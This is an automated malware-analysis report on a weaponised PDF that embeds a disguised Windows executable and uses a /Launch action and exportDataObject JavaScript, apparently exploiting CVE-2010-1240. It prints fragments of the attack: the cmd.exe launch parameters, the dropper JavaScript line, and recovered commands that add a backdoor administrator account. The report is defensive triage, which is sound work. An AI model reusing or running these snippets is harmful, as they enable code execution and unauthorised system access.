PDF malware analysis — malicious · f8c7e7983cf31aaa

MALICIOUS

PDF

60.3 KB Created: 2010-03-20 09:22:51 +00:00 Authoring application: PrimoPDF http://www.primopdf.com (via Nitro PDF PrimoPDF) First seen: 2026-05-11

MD5: cc71c8f6901267d0840fe2639c87312d SHA-1: 53b0c178cab3e9cbfd10b7da813c15ed7c5a556f SHA-256: f8c7e7983cf31aaa6a406dcd3857268b7a7dfb995cc477d2b0128dfbfc089230

496 Risk Score

Malware Insights

MITRE ATT&CK

T1204 Malicious Link T1204.002 Malicious File T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The PDF file contains embedded JavaScript and a launch action that targets cmd.exe, indicating an attempt to execute arbitrary commands. It also embeds a Windows executable disguised as a PDF file named 'testpdf.pdf'. This combination strongly suggests a malicious payload delivery mechanism, likely exploiting CVE-2010-1240 to achieve code execution and drop the embedded PE file.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 12

Adobe Reader Launch action command execution critical CVE exact CVE_2010_1240

PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: cmd.exe is invoked with attacker-controlled parameters, paired with an embedded/exported payload.
ClamAV: Pdf.Tool.Agent-1388586 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Tool.Agent-1388586
Launch action critical PDF_LAUNCH

PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
Embedded Windows executable payload in PDF stream critical PDF_EMBEDDED_PE_PAYLOAD

PDF stream bytes contain an embedded Windows executable with a verified PE header. Exploit chains often hide droppers inside ordinary streams rather than standard /EmbeddedFile attachments.
/Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\testpdf.pdf" (cd "Desktop"' — references a known-dangerous executable (cmd, PowerShell, etc.).
Embedded attachment masquerades: declared document, content is windows-executable critical PDF_EMBEDDED_FILESPEC_CONTENT_MISMATCH

An /EmbeddedFile attachment's declared filename extension or /Subtype MIME type contradicts the magic bytes of its decompressed content. The attachment is declared as a benign document or image but the bytes are an executable or executable-bearing archive. This is a deliberate deception used to hide droppers in PDF attachments and is a generic indicator of embed-and-drop weaponisation, independent of any specific CVE.
/Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JS

PDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://www.primopdf.com In PDF document text
- http://www.primopdf.com)/Author(newIn PDF document text
- http://www.microsoft.com/exportingIn extracted file (testpdf.pdf)
- http://crl.microsoft.com/pki/crl/products/CSPCA.crl0HIn extracted file (testpdf.pdf)
- http://www.microsoft.com/pki/certs/CSPCA.crt0In extracted file (testpdf.pdf)
- http://crl.microsoft.com/pki/crl/products/tspca.crl0HIn extracted file (testpdf.pdf)
- http://www.microsoft.com/pki/certs/tspca.crt0In extracted file (testpdf.pdf)
- http://www.microsoft.com/sysinternalsIn extracted file (testpdf.pdf)

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`testpdf.pdf`	pdf-embedded-file	PDF EmbeddedFile object 17 at offset 0x2E2C	107560 bytes
SHA-256: `bdb3430b055299861bceb5991174a8a42b098939cd9439f05ccadc07a36015f9`
Detection ClamAV: No threats found Obfuscation or payload: likely actual_type=PE; declared_or_context_type=PDF; filename=testpdf.pdf; kind=pdf-embedded-file Static shellcode analysis found candidate code region(s). Indicators: SC_PEB_ACCESS, SC_MSF_BIND, SC_STR_CMD Static shellcode analysis recovered API/import strings: LoadLibraryA, LoadLibraryExA, CreateFileA, kernel32.dll, KERNEL32.DLL, GetProcAddress Static shellcode analysis recovered command string(s): cmd.exe /c net user intruder notevil /ADD && net localgroup Admin, cmd.exe /c net user intruder notevil /ADD && net localgroup Administrators intruder /ADD
`javascript_obj0018_000.js`	pdf-javascript-stream	PDF /JS object 18 at offset 0xEDA2	56 bytes
SHA-256: `b0a59e347f4a1f2e28e54ea9ecc6e7e447a9522dcec90a0d12471dd5fe5b28cd`
Preview script First 1,000 lines of the extracted script this.exportDataObject({ cName: "testpdf", nLaunch: 0 });
`font_00_sfnt_off000004ce.bin`	pdf-font-stream	PDF embedded font (sfnt) at offset 0x4CE	17328 bytes
SHA-256: `162bec52abd01d487f9b6ad46ff8600e6e712ee6c9d6ce05003d99fd27e70e76`

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PDF

Malware Insights

Machine Learning

Heuristics 12

Related samples 8

Extracted artifacts 3